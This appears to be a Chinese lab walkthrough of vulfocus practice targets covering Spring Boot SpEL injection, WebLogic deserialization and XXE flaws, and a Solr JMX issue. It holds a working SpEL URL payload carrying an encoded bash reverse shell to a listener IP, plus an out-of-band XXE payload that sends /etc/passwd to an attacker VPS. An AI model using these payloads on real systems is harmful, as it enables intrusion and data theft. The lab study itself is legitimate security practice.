vulfocus打靶-持续更新
spring-boot-whitelabel-spel
使用的vulfocus的靶场
访问网址是这样
描述
spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。
利用条件
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。
- 至少知道一个触发 springboot 默认错误页面的接口及参数名。
Fuzz接口
发现这个/article?id=xxx接口有回显
使用payload可执行命令
1 | ${10*10}` |
生成payload
1 | #反弹Shell |
利用下面的脚本生成java字节码
1 | # coding: utf-8 |
生成的字节码结果为:
1 | 0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x45,0x75,0x4d,0x54,0x49,0x78,0x4c,0x7a,0x6b,0x35,0x4f,0x54,0x6b,0x67,0x4d,0x44,0x34,0x6d,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d |
使用payload执行,拼接URL
1 | /article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x45,0x75,0x4d,0x54,0x49,0x78,0x4c,0x7a,0x6b,0x35,0x4f,0x54,0x6b,0x67,0x4d,0x44,0x34,0x6d,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))} |
反弹Shell成功
weblogic 远程代码执行
CVE-2018-2893漏洞影响范围:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.2
WebLogic 12.2.1.3
CVE-2018-3245漏洞影响范围:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
描述
WebLogic java反序列化漏洞( CVE-2018-3245 )是通过JRMP协议利用RMI机制的缺陷,进行远程代码执行漏洞的利用。攻击者可以在未授权的情况下,将payload封装,并通过WebLogic的T3协议进行传输,通过对T3协议中的payload进行反序列化,实现对存在漏洞的WebLogic组件进行远程攻击。实现任意代码执行,并获取目标系统的所有权限
影响范围
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
weblogic 未授权访问 (CVE-2018-3246)
影响版本
- WebLogic 12.1.3.0
- WebLogic 12.2.1.3
利用条件
- Web 服务测试组件在开发模式下无需认证,在生产模式下需要认证。
- JDK 版本小于 8(jdk8 默认禁止外部 DTD)。
熟悉的配方
加入URL拼接访问
1 | /ws_utc/begin.do |
然后就出现了一个文件上传功能
验证
能解析XML文件
上工具
获取Flag
工具地址:https://github.com/hackping/XXEpayload
下载后上传到VPS中,使用python运行
1 | python xxer.py --http=1234 --hostname=VPS的IP --dtd=ftp.dtd.file.template --ftp=2121 |
ext.dtd中的内容为:
1 | <!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'ftp://fakeuser:@VPS的IP:2121/%bbb;'>"> |
bp抓文件上传的包,然后替换payload,再发包
1 | <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://VPS的IP:1234/ext.dtd"><!ENTITY % bbb SYSTEM "file:///etc/passwd">%aaa;%ccc;%ddd;]> |
回显已经有了
然后看/tmp目录下的内容,flag已找到
solr 代码执行 (CVE-2019-12409)
解释
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。是apache的顶级开源项目,使用java开发 ,基于lucene的全文检索服务器。
影响范围
Solr 8.1.1
Solr 8.2.0
原理
Java ManagementExtensions(JMX)是一种Java技术,为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。JMX 作为 Java的一种Bean管理机制,如果JMX服务端口暴露,那么远程攻击者可以让该服务器远程加载恶意的Bean文件,随着Bean的滥用导致远程代码执行。